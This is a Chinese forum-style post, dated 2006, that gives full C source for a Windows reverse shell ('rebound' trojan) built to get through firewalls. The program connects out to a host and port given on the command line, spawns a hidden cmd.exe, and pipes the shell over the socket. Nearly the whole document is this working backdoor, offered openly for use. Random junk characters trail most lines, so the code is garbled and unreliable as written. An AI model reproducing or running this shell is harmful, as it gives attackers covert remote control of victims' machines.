这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WejYy|
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/* ============================== A!s`[2 Z
Rebound port in Windows NT jSh5!6O
By wind,2006/7 ddJQC|xR}
===============================*/ Cc+t}"^
#include l2zFKCGF(
#include @Owb?(6?
cs,N <|
#pragma comment(lib,"wsock32.lib") +%zAQeb
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void OutputShell(); >Wm`v.-
SOCKET sClient; q8X feoUV
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]fx"4qKM
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void main(int argc,char **argv) [YRz*5
{ #|Y5,a,{
WSADATA stWsaData; }iXDa?6%
int nRet; \\r)Ue]
SOCKADDR_IN stSaiClient,stSaiServer; 2Nu=/tMN
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if(argc != 3) 6}gls}[0{e
{ 1L%CJ+Q#0i
printf("Useage:\n\rRebound DestIP DestPort\n"); 8##-EN;ag
return; g`{;(/M+
} 8{wwd:6
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WSAStartup(MAKEWORD(2,2),&stWsaData); W]"zctE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c(3~0Yr
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stSaiClient.sin_family = AF_INET; 9TgIB
stSaiClient.sin_port = htons(0); 'DY`jVwa
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); CY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wj*,U~syB
{ Jj>?GAir
printf("Bind Socket Failed!\n"); prC;L*~8
return; 0[RL>;D:
} Ye"o6_U"
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stSaiServer.sin_family = AF_INET; oI0M%/aM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [>+4^&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); s`M9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *? 5*m+
{ B8nf,dj?X
printf("Connect Error!"); -E^vLB)O
return; bx#>BK!
} iQ tNAj
OutputShell(); o1-m1 <ft
} 3B1XZm
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void OutputShell() =}lh_
{ 8ZM?)#`@{
char szBuff[1024]; 5m*iE*+
SECURITY_ATTRIBUTES stSecurityAttributes; :}Xll#.,m
OSVERSIONINFO stOsversionInfo; j| v%)A
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v0
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STARTUPINFO stStartupInfo; `_BNy=`s*
char *szShell; fL_4uC i\
PROCESS_INFORMATION stProcessInformation; wg7V-+@i
unsigned long lBytesRead; w,.+IV$Kk
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u8gS<\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <L mIK
stSecurityAttributes.lpSecurityDescriptor = 0; HFKfkAl
stSecurityAttributes.bInheritHandle = TRUE; ) brVduB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4H,`]B8(D
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n(b(yXYm]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6DM$g=/'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d:ARf
stStartupInfo.wShowWindow = SW_HIDE; `Bo*{}E
stStartupInfo.hStdInput = hReadPipe; )T/0S$@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DNOueU
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GetVersionEx(&stOsversionInfo); !Z`j2
e}
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switch(stOsversionInfo.dwPlatformId) :V1W/c
{ MC?,UDNd%
case 1: "w^!/
szShell = "command.com"; #D<C )Q
break; bP8Sj16q
default: O;z,qo X
szShell = "cmd.exe"; s:OFVlC%\
break; 1/RsptN"v
} aK&b{d
j K!Au
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '= _/ 1F*q
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send(sClient,szMsg,77,0); ;'?l$
._
while(1) G,$PV
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{ ZO!I.
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qt iDTr
if(lBytesRead) <A[E:*`*
{ ~"!]
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :H7D~ n
send(sClient,szBuff,lBytesRead,0); "JVkVp[5D+
} ]=.\-K
else ?i)f^O
{ l,R/Gl
lBytesRead=recv(sClient,szBuff,1024,0); 0)%YNaskj
if(lBytesRead<=0) break; P<PJ)>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $$D}I*^Dt
} E4gYemuN
}
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return; ~J5+i9T.)
}